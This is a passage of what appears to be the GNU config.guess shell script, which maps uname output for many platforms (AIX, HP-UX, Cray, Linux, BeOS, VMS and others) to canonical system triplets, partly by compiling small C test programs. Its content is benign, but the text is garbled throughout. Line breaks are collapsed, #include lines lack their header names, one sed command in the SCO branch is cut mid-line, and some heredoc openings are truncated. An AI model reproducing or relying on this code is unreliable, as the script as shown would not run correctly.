XD88 system running UTekV (SVR3) echo m88k-tektronix-sysv3 exit 0 ;; Tek43[0-9][0-9]:UTek:*:*) # Tektronix 4300 system running UTek (BSD) echo m68k-tektronix-bsd exit 0 ;; *:IRIX*:*:*) echo mips-sgi-irix`echo ${UNAME_RELEASE}|sed -e 's/-/_/g'` exit 0 ;; ????????:AIX?:[12].1:2) # AIX 2.2.1 or AIX 2.1.1 is RT/PC AIX. echo romp-ibm-aix # uname -m gives an 8 hex-code CPU id exit 0 ;; # Note that: echo "'`uname -s`'" gives 'AIX ' i*86:AIX:*:*) echo i386-ibm-aix exit 0 ;; ia64:AIX:*:*) if [ -x /usr/bin/oslevel ] ; then IBM_REV=`/usr/bin/oslevel` else IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE} fi echo ${UNAME_MACHINE}-ibm-aix${IBM_REV} exit 0 ;; *:AIX:2:3) if grep bos325 /usr/include/stdio.h >/dev/null 2>&1; then eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #include main() { if (!__power_pc()) exit(1); puts("powerpc-ibm-aix3.2.5"); exit(0); } EOF $CC_FOR_BUILD -o $dummy $dummy.c && $dummy && exit 0 echo rs6000-ibm-aix3.2.5 elif grep bos324 /usr/include/stdio.h >/dev/null 2>&1; then echo rs6000-ibm-aix3.2.4 else echo rs6000-ibm-aix3.2 fi exit 0 ;; *:AIX:*:[45]) IBM_CPU_ID=`/usr/sbin/lsdev -C -c processor -S available | sed 1q | awk '{ print $1 }'` if /usr/sbin/lsattr -El ${IBM_CPU_ID} | grep ' POWER' >/dev/null 2>&1; then IBM_ARCH=rs6000 else IBM_ARCH=powerpc fi if [ -x /usr/bin/oslevel ] ; then IBM_REV=`/usr/bin/oslevel` else IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE} fi echo ${IBM_ARCH}-ibm-aix${IBM_REV} exit 0 ;; *:AIX:*:*) echo rs6000-ibm-aix exit 0 ;; ibmrt:4.4BSD:*|romp-ibm:BSD:*) echo romp-ibm-bsd4.4 exit 0 ;; ibmrt:*BSD:*|romp-ibm:BSD:*) # covers RT/PC BSD and echo romp-ibm-bsd${UNAME_RELEASE} # 4.3 with uname added to exit 0 ;; # report: romp-ibm BSD 4.3 *:BOSX:*:*) echo rs6000-bull-bosx exit 0 ;; DPX/2?00:B.O.S.:*:*) echo m68k-bull-sysv3 exit 0 ;; 9000/[34]??:4.3bsd:1.*:*) echo m68k-hp-bsd exit 0 ;; hp300:4.4BSD:*:* | 9000/[34]??:4.3bsd:2.*:*) echo m68k-hp-bsd4.4 exit 0 ;; 9000/[34678]??:HP-UX:*:*) HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'` case "${UNAME_MACHINE}" in 9000/31? ) HP_ARCH=m68000 ;; 9000/[34]?? ) HP_ARCH=m68k ;; 9000/[678][0-9][0-9]) if [ -x /usr/bin/getconf ]; then sc_cpu_version=`/usr/bin/getconf SC_CPU_VERSION 2>/dev/null` sc_kernel_bits=`/usr/bin/getconf SC_KERNEL_BITS 2>/dev/null` case "${sc_cpu_version}" in 523) HP_ARCH="hppa1.0" ;; # CPU_PA_RISC1_0 528) HP_ARCH="hppa1.1" ;; # CPU_PA_RISC1_1 532) # CPU_PA_RISC2_0 case "${sc_kernel_bits}" in 32) HP_ARCH="hppa2.0n" ;; 64) HP_ARCH="hppa2.0w" ;; '') HP_ARCH="hppa2.0" ;; # HP-UX 10.20 esac ;; esac fi if [ "${HP_ARCH}" = "" ]; then eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #define _HPUX_SOURCE #include #include int main () { #if defined(_SC_KERNEL_BITS) long bits = sysconf(_SC_KERNEL_BITS); #endif long cpu = sysconf (_SC_CPU_VERSION); switch (cpu) { case CPU_PA_RISC1_0: puts ("hppa1.0"); break; case CPU_PA_RISC1_1: puts ("hppa1.1"); break; case CPU_PA_RISC2_0: #if defined(_SC_KERNEL_BITS) switch (bits) { case 64: puts ("hppa2.0w"); break; case 32: puts ("hppa2.0n"); break; default: puts ("hppa2.0"); break; } break; #else /* !defined(_SC_KERNEL_BITS) */ puts ("hppa2.0"); break; #endif default: puts ("hppa1.0"); break; } exit (0); } EOF (CCOPTS= $CC_FOR_BUILD -o $dummy $dummy.c 2>/dev/null) && HP_ARCH=`$dummy` test -z "$HP_ARCH" && HP_ARCH=hppa fi ;; esac if [ ${HP_ARCH} = "hppa2.0w" ] then # avoid double evaluation of $set_cc_for_build test -n "$CC_FOR_BUILD" || eval $set_cc_for_build if echo __LP64__ | (CCOPTS= $CC_FOR_BUILD -E -) | grep __LP64__ >/dev/null then HP_ARCH="hppa2.0w" else HP_ARCH="hppa64" fi fi echo ${HP_ARCH}-hp-hpux${HPUX_REV} exit 0 ;; ia64:HP-UX:*:*) HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'` echo ia64-hp-hpux${HPUX_REV} exit 0 ;; 3050*:HI-UX:*:*) eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #include int main () { long cpu = sysconf (_SC_CPU_VERSION); /* The order matters, because CPU_IS_HP_MC68K erroneously returns true for CPU_PA_RISC1_0. CPU_IS_PA_RISC returns correct results, however. */ if (CPU_IS_PA_RISC (cpu)) { switch (cpu) { case CPU_PA_RISC1_0: puts ("hppa1.0-hitachi-hiuxwe2"); break; case CPU_PA_RISC1_1: puts ("hppa1.1-hitachi-hiuxwe2"); break; case CPU_PA_RISC2_0: puts ("hppa2.0-hitachi-hiuxwe2"); break; default: puts ("hppa-hitachi-hiuxwe2"); break; } } else if (CPU_IS_HP_MC68K (cpu)) puts ("m68k-hitachi-hiuxwe2"); else puts ("unknown-hitachi-hiuxwe2"); exit (0); } EOF $CC_FOR_BUILD -o $dummy $dummy.c && $dummy && exit 0 echo unknown-hitachi-hiuxwe2 exit 0 ;; 9000/7??:4.3bsd:*:* | 9000/8?[79]:4.3bsd:*:* ) echo hppa1.1-hp-bsd exit 0 ;; 9000/8??:4.3bsd:*:*) echo hppa1.0-hp-bsd exit 0 ;; *9??*:MPE/iX:*:* | *3000*:MPE/iX:*:*) echo hppa1.0-hp-mpeix exit 0 ;; hp7??:OSF1:*:* | hp8?[79]:OSF1:*:* ) echo hppa1.1-hp-osf exit 0 ;; hp8??:OSF1:*:*) echo hppa1.0-hp-osf exit 0 ;; i*86:OSF1:*:*) if [ -x /usr/sbin/sysversion ] ; then echo ${UNAME_MACHINE}-unknown-osf1mk else echo ${UNAME_MACHINE}-unknown-osf1 fi exit 0 ;; parisc*:Lites*:*:*) echo hppa1.1-hp-lites exit 0 ;; C1*:ConvexOS:*:* | convex:ConvexOS:C1*:*) echo c1-convex-bsd exit 0 ;; C2*:ConvexOS:*:* | convex:ConvexOS:C2*:*) if getsysinfo -f scalar_acc then echo c32-convex-bsd else echo c2-convex-bsd fi exit 0 ;; C34*:ConvexOS:*:* | convex:ConvexOS:C34*:*) echo c34-convex-bsd exit 0 ;; C38*:ConvexOS:*:* | convex:ConvexOS:C38*:*) echo c38-convex-bsd exit 0 ;; C4*:ConvexOS:*:* | convex:ConvexOS:C4*:*) echo c4-convex-bsd exit 0 ;; CRAY*Y-MP:*:*:*) echo ymp-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit 0 ;; CRAY*[A-Z]90:*:*:*) echo ${UNAME_MACHINE}-cray-unicos${UNAME_RELEASE} \ | sed -e 's/CRAY.*\([A-Z]90\)/\1/' \ -e y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/ \ -e 's/\.[^.]*$/.X/' exit 0 ;; CRAY*TS:*:*:*) echo t90-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit 0 ;; CRAY*T3E:*:*:*) echo alphaev5-cray-unicosmk${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit 0 ;; CRAY*SV1:*:*:*) echo sv1-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit 0 ;; *:UNICOS/mp:*:*) echo craynv-cray-unicosmp${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit 0 ;; F30[01]:UNIX_System_V:*:* | F700:UNIX_System_V:*:*) FUJITSU_PROC=`uname -m | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'` FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'` FUJITSU_REL=`echo ${UNAME_RELEASE} | sed -e 's/ /_/'` echo "${FUJITSU_PROC}-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}" exit 0 ;; 5000:UNIX_System_V:4.*:*) FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'` FUJITSU_REL=`echo ${UNAME_RELEASE} | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/ /_/'` echo "sparc-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}" exit 0 ;; i*86:BSD/386:*:* | i*86:BSD/OS:*:* | *:Ascend\ Embedded/OS:*:*) echo ${UNAME_MACHINE}-pc-bsdi${UNAME_RELEASE} exit 0 ;; sparc*:BSD/OS:*:*) echo sparc-unknown-bsdi${UNAME_RELEASE} exit 0 ;; *:BSD/OS:*:*) echo ${UNAME_MACHINE}-unknown-bsdi${UNAME_RELEASE} exit 0 ;; *:FreeBSD:*:*) echo ${UNAME_MACHINE}-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` exit 0 ;; i*:CYGWIN*:*) echo ${UNAME_MACHINE}-pc-cygwin exit 0 ;; i*:MINGW*:*) echo ${UNAME_MACHINE}-pc-mingw32 exit 0 ;; i*:PW*:*) echo ${UNAME_MACHINE}-pc-pw32 exit 0 ;; x86:Interix*:[34]*) echo i586-pc-interix${UNAME_RELEASE}|sed -e 's/\..*//' exit 0 ;; [345]86:Windows_95:* | [345]86:Windows_98:* | [345]86:Windows_NT:*) echo i${UNAME_MACHINE}-pc-mks exit 0 ;; i*:Windows_NT*:* | Pentium*:Windows_NT*:*) # How do we know it's Interix rather than the generic POSIX subsystem? # It also conflicts with pre-2.0 versions of AT&T UWIN. Should we # UNAME_MACHINE based on the output of uname instead of i386? echo i586-pc-interix exit 0 ;; i*:UWIN*:*) echo ${UNAME_MACHINE}-pc-uwin exit 0 ;; p*:CYGWIN*:*) echo powerpcle-unknown-cygwin exit 0 ;; prep*:SunOS:5.*:*) echo powerpcle-unknown-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit 0 ;; *:GNU:*:*) # the GNU system echo `echo ${UNAME_MACHINE}|sed -e 's,[-/].*$,,'`-unknown-gnu`echo ${UNAME_RELEASE}|sed -e 's,/.*$,,'` exit 0 ;; *:GNU/*:*:*) # other systems with GNU libc and userland echo ${UNAME_MACHINE}-unknown-`echo ${UNAME_SYSTEM} | sed 's,^[^/]*/,,' | tr '[A-Z]' '[a-z]'``echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'`-gnu exit 0 ;; i*86:Minix:*:*) echo ${UNAME_MACHINE}-pc-minix exit 0 ;; arm*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit 0 ;; cris:Linux:*:*) echo cris-axis-linux-gnu exit 0 ;; crisv32:Linux:*:*) echo crisv32-axis-linux-gnu exit 0 ;; frv:Linux:*:*) echo frv-unknown-linux-gnu exit 0 ;; ia64:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit 0 ;; m32r*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit 0 ;; m68*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit 0 ;; mips:Linux:*:*) eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #undef CPU #undef mips #undef mipsel #if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL) CPU=mipsel #else #if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB) CPU=mips #else CPU= #endif #endif EOF eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep ^CPU=` test x"${CPU}" != x && echo "${CPU}-unknown-linux-gnu" && exit 0 ;; mips64:Linux:*:*) eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #undef CPU #undef mips64 #undef mips64el #if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL) CPU=mips64el #else #if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB) CPU=mips64 #else CPU= #endif #endif EOF eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep ^CPU=` test x"${CPU}" != x && echo "${CPU}-unknown-linux-gnu" && exit 0 ;; ppc:Linux:*:*) echo powerpc-unknown-linux-gnu exit 0 ;; ppc64:Linux:*:*) echo powerpc64-unknown-linux-gnu exit 0 ;; alpha:Linux:*:*) case `sed -n '/^cpu model/s/^.*: \(.*\)/\1/p' < /proc/cpuinfo` in EV5) UNAME_MACHINE=alphaev5 ;; EV56) UNAME_MACHINE=alphaev56 ;; PCA56) UNAME_MACHINE=alphapca56 ;; PCA57) UNAME_MACHINE=alphapca56 ;; EV6) UNAME_MACHINE=alphaev6 ;; EV67) UNAME_MACHINE=alphaev67 ;; EV68*) UNAME_MACHINE=alphaev68 ;; esac objdump --private-headers /bin/sh | grep ld.so.1 >/dev/null if test "$?" = 0 ; then LIBC="libc1" ; else LIBC="" ; fi echo ${UNAME_MACHINE}-unknown-linux-gnu${LIBC} exit 0 ;; parisc:Linux:*:* | hppa:Linux:*:*) # Look for CPU level case `grep '^cpu[^a-z]*:' /proc/cpuinfo 2>/dev/null | cut -d' ' -f2` in PA7*) echo hppa1.1-unknown-linux-gnu ;; PA8*) echo hppa2.0-unknown-linux-gnu ;; *) echo hppa-unknown-linux-gnu ;; esac exit 0 ;; parisc64:Linux:*:* | hppa64:Linux:*:*) echo hppa64-unknown-linux-gnu exit 0 ;; s390:Linux:*:* | s390x:Linux:*:*) echo ${UNAME_MACHINE}-ibm-linux exit 0 ;; sh64*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit 0 ;; sh*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit 0 ;; sparc:Linux:*:* | sparc64:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit 0 ;; x86_64:Linux:*:*) echo x86_64-unknown-linux-gnu exit 0 ;; i*86:Linux:*:*) # The BFD linker knows what the default object file format is, so # first see if it will tell us. cd to the root directory to prevent # problems with other programs or directories called `ld' in the path. # Set LC_ALL=C to ensure ld outputs messages in English. ld_supported_targets=`cd /; LC_ALL=C ld --help 2>&1 \ | sed -ne '/supported targets:/!d s/[ ][ ]*/ /g s/.*supported targets: *// s/ .*// p'` case "$ld_supported_targets" in elf32-i386) TENTATIVE="${UNAME_MACHINE}-pc-linux-gnu" ;; a.out-i386-linux) echo "${UNAME_MACHINE}-pc-linux-gnuaout" exit 0 ;; coff-i386) echo "${UNAME_MACHINE}-pc-linux-gnucoff" exit 0 ;; "") # Either a pre-BFD a.out linker (linux-gnuoldld) or # one that does not give us useful --help. echo "${UNAME_MACHINE}-pc-linux-gnuoldld" exit 0 ;; esac # Determine whether the default compiler is a.out or elf eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #include #ifdef __ELF__ # ifdef __GLIBC__ # if __GLIBC__ >= 2 LIBC=gnu # else LIBC=gnulibc1 # endif # else LIBC=gnulibc1 # endif #else #ifdef __INTEL_COMPILER LIBC=gnu #else LIBC=gnuaout #endif #endif #ifdef __dietlibc__ LIBC=dietlibc #endif EOF eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep ^LIBC=` test x"${LIBC}" != x && echo "${UNAME_MACHINE}-pc-linux-${LIBC}" && exit 0 test x"${TENTATIVE}" != x && echo "${TENTATIVE}" && exit 0 ;; i*86:DYNIX/ptx:4*:*) # ptx 4.0 does uname -s correctly, with DYNIX/ptx in there. # earlier versions are messed up and put the nodename in both # sysname and nodename. echo i386-sequent-sysv4 exit 0 ;; i*86:UNIX_SV:4.2MP:2.*) # Unixware is an offshoot of SVR4, but it has its own version # number series starting with 2... # I am not positive that other SVR4 systems won't match this, # I just have to hope. -- rms. # Use sysv4.2uw... so that sysv4* matches it. echo ${UNAME_MACHINE}-pc-sysv4.2uw${UNAME_VERSION} exit 0 ;; i*86:OS/2:*:*) # If we were able to find `uname', then EMX Unix compatibility # is probably installed. echo ${UNAME_MACHINE}-pc-os2-emx exit 0 ;; i*86:XTS-300:*:STOP) echo ${UNAME_MACHINE}-unknown-stop exit 0 ;; i*86:atheos:*:*) echo ${UNAME_MACHINE}-unknown-atheos exit 0 ;; i*86:syllable:*:*) echo ${UNAME_MACHINE}-pc-syllable exit 0 ;; i*86:LynxOS:2.*:* | i*86:LynxOS:3.[01]*:* | i*86:LynxOS:4.0*:*) echo i386-unknown-lynxos${UNAME_RELEASE} exit 0 ;; i*86:*DOS:*:*) echo ${UNAME_MACHINE}-pc-msdosdjgpp exit 0 ;; i*86:*:4.*:* | i*86:SYSTEM_V:4.*:*) UNAME_REL=`echo ${UNAME_RELEASE} | sed 's/\/MP$//'` if grep Novell /usr/include/link.h >/dev/null 2>/dev/null; then echo ${UNAME_MACHINE}-univel-sysv${UNAME_REL} else echo ${UNAME_MACHINE}-pc-sysv${UNAME_REL} fi exit 0 ;; i*86:*:5:[78]*) case `/bin/uname -X | grep "^Machine"` in *486*) UNAME_MACHINE=i486 ;; *Pentium) UNAME_MACHINE=i586 ;; *Pent*|*Celeron) UNAME_MACHINE=i686 ;; esac echo ${UNAME_MACHINE}-unknown-sysv${UNAME_RELEASE}${UNAME_SYSTEM}${UNAME_VERSION} exit 0 ;; i*86:*:3.2:*) if test -f /usr/options/cb.name; then UNAME_REL=`sed -n 's/.*Version //p' /dev/null >/dev/null ; then UNAME_REL=`(/bin/uname -X|grep Release|sed -e 's/.*= //')` (/bin/uname -X|grep i80486 >/dev/null) && UNAME_MACHINE=i486 (/bin/uname -X|grep '^Machine.*Pentium' >/dev/null) \ && UNAME_MACHINE=i586 (/bin/uname -X|grep '^Machine.*Pent *II' >/dev/null) \ && UNAME_MACHINE=i686 (/bin/uname -X|grep '^Machine.*Pentium Pro' >/dev/null) \ && UNAME_MACHINE=i686 echo ${UNAME_MACHINE}-pc-sco$UNAME_REL else echo ${UNAME_MACHINE}-pc-sysv32 fi exit 0 ;; pc:*:*:*) # Left here for compatibility: # uname -m prints for DJGPP always 'pc', but it prints nothing about # the processor, so we play safe by assuming i386. echo i386-pc-msdosdjgpp exit 0 ;; Intel:Mach:3*:*) echo i386-pc-mach3 exit 0 ;; paragon:*:*:*) echo i860-intel-osf1 exit 0 ;; i860:*:4.*:*) # i860-SVR4 if grep Stardent /usr/include/sys/uadmin.h >/dev/null 2>&1 ; then echo i860-stardent-sysv${UNAME_RELEASE} # Stardent Vistra i860-SVR4 else # Add other i860-SVR4 vendors below as they are discovered. echo i860-unknown-sysv${UNAME_RELEASE} # Unknown i860-SVR4 fi exit 0 ;; mini*:CTIX:SYS*5:*) # "miniframe" echo m68010-convergent-sysv exit 0 ;; mc68k:UNIX:SYSTEM5:3.51m) echo m68k-convergent-sysv exit 0 ;; M680?0:D-NIX:5.3:*) echo m68k-diab-dnix exit 0 ;; M68*:*:R3V[5678]*:*) test -r /sysV68 && echo 'm68k-motorola-sysv' && exit 0 ;; 3[345]??:*:4.0:3.0 | 3[34]??A:*:4.0:3.0 | 3[34]??,*:*:4.0:3.0 | 3[34]??/*:*:4.0:3.0 | 4400:*:4.0:3.0 | 4850:*:4.0:3.0 | SKA40:*:4.0:3.0 | SDS2:*:4.0:3.0 | SHG2:*:4.0:3.0 | S7501*:*:4.0:3.0) OS_REL='' test -r /etc/.relid \ && OS_REL=.`sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid` /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ && echo i486-ncr-sysv4.3${OS_REL} && exit 0 /bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \ && echo i586-ncr-sysv4.3${OS_REL} && exit 0 ;; 3[34]??:*:4.0:* | 3[34]??,*:*:4.0:*) /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ && echo i486-ncr-sysv4 && exit 0 ;; m68*:LynxOS:2.*:* | m68*:LynxOS:3.0*:*) echo m68k-unknown-lynxos${UNAME_RELEASE} exit 0 ;; mc68030:UNIX_System_V:4.*:*) echo m68k-atari-sysv4 exit 0 ;; TSUNAMI:LynxOS:2.*:*) echo sparc-unknown-lynxos${UNAME_RELEASE} exit 0 ;; rs6000:LynxOS:2.*:*) echo rs6000-unknown-lynxos${UNAME_RELEASE} exit 0 ;; PowerPC:LynxOS:2.*:* | PowerPC:LynxOS:3.[01]*:* | PowerPC:LynxOS:4.0*:*) echo powerpc-unknown-lynxos${UNAME_RELEASE} exit 0 ;; SM[BE]S:UNIX_SV:*:*) echo mips-dde-sysv${UNAME_RELEASE} exit 0 ;; RM*:ReliantUNIX-*:*:*) echo mips-sni-sysv4 exit 0 ;; RM*:SINIX-*:*:*) echo mips-sni-sysv4 exit 0 ;; *:SINIX-*:*:*) if uname -p 2>/dev/null >/dev/null ; then UNAME_MACHINE=`(uname -p) 2>/dev/null` echo ${UNAME_MACHINE}-sni-sysv4 else echo ns32k-sni-sysv fi exit 0 ;; PENTIUM:*:4.0*:*) # Unisys `ClearPath HMP IX 4000' SVR4/MP effort # says echo i586-unisys-sysv4 exit 0 ;; *:UNIX_System_V:4*:FTX*) # From Gerald Hewes . # How about differentiating between stratus architectures? -djm echo hppa1.1-stratus-sysv4 exit 0 ;; *:*:*:FTX*) # From seanf@swdc.stratus.com. echo i860-stratus-sysv4 exit 0 ;; *:VOS:*:*) # From Paul.Green@stratus.com. echo hppa1.1-stratus-vos exit 0 ;; mc68*:A/UX:*:*) echo m68k-apple-aux${UNAME_RELEASE} exit 0 ;; news*:NEWS-OS:6*:*) echo mips-sony-newsos6 exit 0 ;; R[34]000:*System_V*:*:* | R4000:UNIX_SYSV:*:* | R*000:UNIX_SV:*:*) if [ -d /usr/nec ]; then echo mips-nec-sysv${UNAME_RELEASE} else echo mips-unknown-sysv${UNAME_RELEASE} fi exit 0 ;; BeBox:BeOS:*:*) # BeOS running on hardware made by Be, PPC only. echo powerpc-be-beos exit 0 ;; BeMac:BeOS:*:*) # BeOS running on Mac or Mac clone, PPC only. echo powerpc-apple-beos exit 0 ;; BePC:BeOS:*:*) # BeOS running on Intel PC compatible. echo i586-pc-beos exit 0 ;; SX-4:SUPER-UX:*:*) echo sx4-nec-superux${UNAME_RELEASE} exit 0 ;; SX-5:SUPER-UX:*:*) echo sx5-nec-superux${UNAME_RELEASE} exit 0 ;; SX-6:SUPER-UX:*:*) echo sx6-nec-superux${UNAME_RELEASE} exit 0 ;; Power*:Rhapsody:*:*) echo powerpc-apple-rhapsody${UNAME_RELEASE} exit 0 ;; *:Rhapsody:*:*) echo ${UNAME_MACHINE}-apple-rhapsody${UNAME_RELEASE} exit 0 ;; *:Darwin:*:*) UNAME_PROCESSOR=`uname -p` || UNAME_PROCESSOR=unknown case $UNAME_PROCESSOR in *86) UNAME_PROCESSOR=i686 ;; unknown) UNAME_PROCESSOR=powerpc ;; esac echo ${UNAME_PROCESSOR}-apple-darwin${UNAME_RELEASE} exit 0 ;; *:procnto*:*:* | *:QNX:[0123456789]*:*) UNAME_PROCESSOR=`uname -p` if test "$UNAME_PROCESSOR" = "x86"; then UNAME_PROCESSOR=i386 UNAME_MACHINE=pc fi echo ${UNAME_PROCESSOR}-${UNAME_MACHINE}-nto-qnx${UNAME_RELEASE} exit 0 ;; *:QNX:*:4*) echo i386-pc-qnx exit 0 ;; NSR-?:NONSTOP_KERNEL:*:*) echo nsr-tandem-nsk${UNAME_RELEASE} exit 0 ;; *:NonStop-UX:*:*) echo mips-compaq-nonstopux exit 0 ;; BS2000:POSIX*:*:*) echo bs2000-siemens-sysv exit 0 ;; DS/*:UNIX_System_V:*:*) echo ${UNAME_MACHINE}-${UNAME_SYSTEM}-${UNAME_RELEASE} exit 0 ;; *:Plan9:*:*) # "uname -m" is not consistent, so use $cputype instead. 386 # is converted to i386 for consistency with other x86 # operating systems. if test "$cputype" = "386"; then UNAME_MACHINE=i386 else UNAME_MACHINE="$cputype" fi echo ${UNAME_MACHINE}-unknown-plan9 exit 0 ;; *:TOPS-10:*:*) echo pdp10-unknown-tops10 exit 0 ;; *:TENEX:*:*) echo pdp10-unknown-tenex exit 0 ;; KS10:TOPS-20:*:* | KL10:TOPS-20:*:* | TYPE4:TOPS-20:*:*) echo pdp10-dec-tops20 exit 0 ;; XKL-1:TOPS-20:*:* | TYPE5:TOPS-20:*:*) echo pdp10-xkl-tops20 exit 0 ;; *:TOPS-20:*:*) echo pdp10-unknown-tops20 exit 0 ;; *:ITS:*:*) echo pdp10-unknown-its exit 0 ;; SEI:*:*:SEIUX) echo mips-sei-seiux${UNAME_RELEASE} exit 0 ;; *:DragonFly:*:*) echo ${UNAME_MACHINE}-unknown-dragonfly`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` exit 0 ;; *:*VMS:*:*) UNAME_MACHINE=`(uname -p) 2>/dev/null` case "${UNAME_MACHINE}" in A*) echo alpha-dec-vms && exit 0 ;; I*) echo ia64-dec-vms && exit 0 ;; V*) echo vax-dec-vms && exit 0 ;; esac esac #echo '(No uname command or uname output not recognized.)' 1>&2 #echo "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" 1>&2 eval $set_cc_for_build cat >$dummy.c < # include #endif main () { #if defined (sony) #if defined (MIPSEB) /* BFD wants "bsd" instead of "newsos". Perhaps BFD should be changed, I don't know.... */ printf ("mips-sony-bsd\n"); exit (0); #else #include printf ("m68k-sony-newsos%s\n", #ifdef NEWSOS4 "4" #else "" #endif ); exit (0); #endif #endif #if defined (__arm) && defined (__acorn) && defined (__unix) printf ("arm-acorn-riscix"); exit (0); #endif #if defined (hp300) && !defined (hpux) printf ("m68k-hp-bsd\n"); exit (0); #endif #if defined (NeXT) #if !defined (__ARCHITECTURE__) #define __ARCHITECTURE__ "m68k" #endif int version; version=`(hostinfo | sed -n 's/.*NeXT Mach \([0-9]*\).*/\1/p') 2>/dev/null`; if (version < 4) printf ("%s-next-nextstep%d\n", __ARCHITECTURE__, version); else printf ("%s-next-openstep%d\n", __ARCHITECTURE__, version); exit (0); #endif #if defined (MULTIMAX) || defined (n16) #if defined (UMAXV) printf ("ns32k-encore-sysv\n"); exit (0); #else #if defined (CMU) printf ("ns32k-encore-mach\n"); exit (0); #else printf ("ns32k-encore-bsd\n"); exit (0); #endif #endif #endif #if defined (__386BSD__) printf ("i386-pc-bsd\n"); exit (0); #endif #if defined (sequent) #if defined (i386) printf ("i386-sequent-dynix\n"); exit (0); #endif #if defined (ns32000) printf ("ns32k-sequent-dynix\n"); exit (0); #endif #endif #if defined (_SEQUENT_) struct utsname un; uname(&un); if (strncmp(un.version, "V2", 2) == 0) { printf ("i386-sequent-ptx2\n"); exit (0); } if (strncmp(un.version, "V1", 2) == 0) { /* XXX is V1 correct? */ printf ("i386-sequent-ptx1\n"); exit (0); } printf ("i386-sequent-ptx\n"); exit (0); #endif #if defined (vax) # if !defined (ultrix) # include # if defined (BSD) # if BSD == 43 printf ("vax-dec-bsd4.3\n"); exit (0); # else # if BSD == 199006 printf ("vax-dec-bsd4.3reno\n"); exit (0); # else printf ("vax-dec-bsd\n"); exit (0); # endif # endif # else printf ("vax-dec-bsd\n"); exit (0); # endif # else printf ("vax-dec-ultrix\n"); exit (0); # endif #endif #if defined (alliant) && defined (i860) printf ("i860-alliant-bsd\n"); exit (0); #endif exit (1); } EOF $CC_FOR_BUILD -o $dummy $dummy.c 2>/dev/null && $dummy && exit 0 # Apollos put the system type in the environment. test -d /usr/apollo && { echo ${ISP}-apollo-${SYSTYPE}; exit 0; } # Convex versions that predate uname can use getsysinfo(1) if [ -x /usr/convex/getsysinfo ] then case `getsysinfo -f cpu_type` in c1*) echo c1-convex-bsd exit 0 ;; c2*) if getsysinfo -f scalar_acc then echo c32-convex-bsd else echo c2-convex-bsd fi exit 0 ;; c34*) echo c34-convex-bsd exit 0 ;; c38*) echo c38-convex-bsd exit 0 ;; c4*) echo c4-convex-bsd exit 0 ;; esac fi cat >&2 < in order to provide the needed information to handle your system. config.guess timestamp = $timestamp uname -m = `(uname -m) 2>/dev/null || echo unknown` uname -r = `(uname -r) 2>/dev/null || echo unknown` uname -s = `(uname -s) 2>/dev/null || echo unknown` uname -v = `(uname -v) 2>/dev/null || echo unknown` /usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null` /bin/uname -X = `(/bin/uname -X) 2>/dev/null` hostinfo = `(hostinfo) 2>/dev/null` /bin/universe = `(/bin/universe) 2>/dev/null` /usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null` /bin/arch = `(/bin/arch) 2>/dev/null` /usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null` /usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null` UNAME_MACHINE = ${UNAME_MACHINE} UNAME_RELEASE = ${UNAME_RELEASE} UNAME_SYSTEM = ${UNAME_SYSTEM} UNAME_VERSION = ${UNAME_VERSION} EOF exit 1 